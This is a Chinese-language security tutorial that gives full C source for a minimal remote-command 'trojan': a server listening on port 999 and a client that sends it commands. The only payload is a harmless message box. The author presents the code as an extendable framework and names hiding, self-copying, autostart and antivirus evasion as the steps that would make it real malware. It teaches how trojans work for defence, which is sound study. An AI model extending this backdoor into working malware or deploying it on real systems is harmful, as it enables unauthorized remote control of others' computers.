一、前言
一般来说,木马是既有客户端也有服务器端的。上次讨论的不过是一种特殊情况,毕竟不是人人都懂得DOS命令,因此现在木马的客户端也都是做成非常直观的界面形式,方便操作。本篇文章会从客户端与服务器端两个方面进行讨论,与上次的讨论不同的是,这次我会直接把用来模拟病毒的对话框程序放入服务器端,这样只要成功连接,那么就可以通过由客户端所发出的命令来让服务器端直接执行对话框程序。用这种思想,可以给服务器端增加很多功能,但是在这里仅仅讨论对话框的打开。
二、服务器端的实现
这里所讨论的木马依旧是命令行下的木马,如果当实现的命令不断增多,那么就会很容易忘记。所以为了便于使用,可以在木马服务器端加入一个简单的帮助信息,就是说,在客户端输入帮助命令后,服务器端就会把相应的帮助信息发送到客户端。另外,由于可能会有很多的功能,所以在服务器端设置一个指令分发机制,从而便于执行相应的功能。完整代码如下:
#include<winsock2.h>
#include<windows.h>
#pragma comment(lib, "ws2_32.lib")
//定义开放端口
#define MasterPort 999
//定义帮助信息
#define HELPMSG "help - Show Help Menu
"
"hack - Show MessageBox
"
"exit - Quit BdShell"
//显示对话框
void hack()
{
MessageBox(0,"You have been hacked! (by J.Y.)","Warning",0);
return;
}
//指令分发
BOOL Dispatch(SOCKET sock, char *szCmd)
{
BOOL bRet = FALSE;
//执行help指令
if ( !strcmp(szCmd, "help") )
{
send(sock, HELPMSG, strlen(HELPMSG) + sizeof(char), 0);
bRet = TRUE;
}
//执行hack指令
else if ( !strcmp(szCmd, "hack") )
{
hack();
bRet = TRUE;
}
return bRet;
}
int main(int argc, char argv[])
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = PF_INET;
sockaddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
sockaddr.sin_port = htons(MasterPort);
bind(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
listen(s, 1);
SOCKADDR clientAddr;
int nSize = sizeof(SOCKADDR);
SOCKET clientSock;
clientSock = accept(s, (SOCKADDR*)&clientAddr, &nSize);
while(TRUE)
{
//发送一个命令提示
send(clientSock,
"BdShell>",
strlen("BdShell>") + sizeof(char),
0);
char buff[MAXBYTE] = { 0 };
//接收客户端发来的命令如果是exit则退出while循环
recv(clientSock, buff, MAXBYTE, 0);
if ( !strcmp(buff, "exit") )
{
break;
}
//分发命令并执行
BOOL bRet = Dispatch(clientSock, buff);
//指令输入错误时的处理
if( bRet == FALSE )
{
send(clientSock,
"Command Unsuccessfully!",
strlen("Command Unsuccessfully!") + sizeof(char),
0);
}
}
//关闭套接字
closesocket(clientSock);
closesocket(s);
WSACleanup();
return 0;
}
上述代码是一个框架,可以不断完善来丰富功能,功能的修改只涉及服务器端,客户端是无需修改的。不过这仅仅是为了学习,要开发一个专业的木马并不是一件容易的事。最关键的是,我在这里所讲的一切都是为了学习计算机安全知识,而不是为了搞破坏。希望大家铭记于心。
三、客户端的实现
木马客户端的代码就是完成字符串的发送而已,非常简单,代码如下:#include<stdio.h>
#include<conio.h>
#include<winsock2.h>
#include<windows.h>
#pragma comment(lib, "ws2_32.lib")
//定义开放端口
#define MasterPort 999
int main(int argc, char argv[])
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET ClientSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in ServerAddr;
ServerAddr.sin_family = PF_INET;
//定义服务器端的IP地址
ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.1.107");
ServerAddr.sin_port = htons(MasterPort);
connect(ClientSock, (SOCKADDR*)&ServerAddr, sizeof(SOCKADDR));
while(TRUE)
{
char Buff[MAXBYTE] = { 0 };
char Cmd[MAXBYTE] = { 0 };
//接收由服务器端传送来的命令提示符或其他信息
recv(ClientSock, Buff, MAXBYTE, 0);
//指令输入错误的处理
if ( !strcmp(Buff, "Command Unsuccessfully!") )
{
printf("%s
", Buff);
recv(ClientSock, Buff, MAXBYTE, 0);
}
printf("%s", Buff);
//输入指令
scanf("%s", Cmd);
//发送指令
send(ClientSock, Cmd, MAXBYTE, 0);
//如果输入exit指令则退出
if ( !strcmp(Cmd, "exit") )
{
printf("Login oot !
");
break;
}
//如果输入help指令则接收帮助信息
else if ( !strcmp(Cmd, "help") )
{
recv(ClientSock, Buff, MAXBYTE, 0);
printf("%s
", Buff);
}
//清零重置缓冲区
memset(Buff, 0, MAXBYTE);
memset(Cmd, 0, MAXBYTE);
}
getch();
closesocket(ClientSock);
WSACleanup();
return 0;
}
在我看来,这种基于C/S模式的程序,重要的是要分清楚程序的逻辑,保证在实现不同功能的时候,recv()和send()指令是一一对应的,否则就会接收到不正确的信息。举例来说,当客户端发送help指令的时候,我们希望的是首先接收到由服务器端发送来的帮助信息,紧接着再接收命令提示符,所以需要两个recv()指令用于接收;而如果是hack指令,由于客户端不需要它有返回值,所以接下来只需要一个recv()指令用于接收命令提示符就可以。这个问题在编程中是要特别注意的。
四、实际测试
同上次一样,我准备了两台计算机用于测试。首先需要在一台计算机上运行服务器端程序,之后在另外一台计算机上运行客户端程序,这样客户端就能够直接连接到服务器端。在客户端依次输入help、hack以及exit命令进行测试:当输入hack命令时,服务器端就会启动用于模拟病毒的对话框程序:
而在客户端输入exit指令,那么无论是客户端还是服务器端都会退出。所以这里所编写的程序是可行的,成功地达到了启动对话框的目的。
五、木马的防范
其实C/S模式的木马的实现原理和网上聊天的原理是基本一致的,都是基于TCP/IP协议的通信,都是在进行消息的传递。所不同的是,木马的客户端向服务器端发送的消息是控制命令,服务器端收到指令后会执行相应的功能,并将执行结果反馈给客户端,这就是远程控制的实现。如果服务器端增加自身隐藏的功能,复制自身到系统目录,然后自动启动……那么服务器端就是一个标准的木马了。可以说,即便是复杂的木马,也是这样的原理,所不同的是高明的木马程序会将自身隐藏得非常完美,还能躲过杀毒软件的查杀,而且难以彻底删除……这些都会在未来进行讨论。
想要进行防范病毒木马,那么首要的是去了解它,了解它的编写方式与运行原理,之后才能更加有效地针对。由于这次所举的木马的例子与上次的类似,那么处理方式也是大同小异的,这里就不再赘述。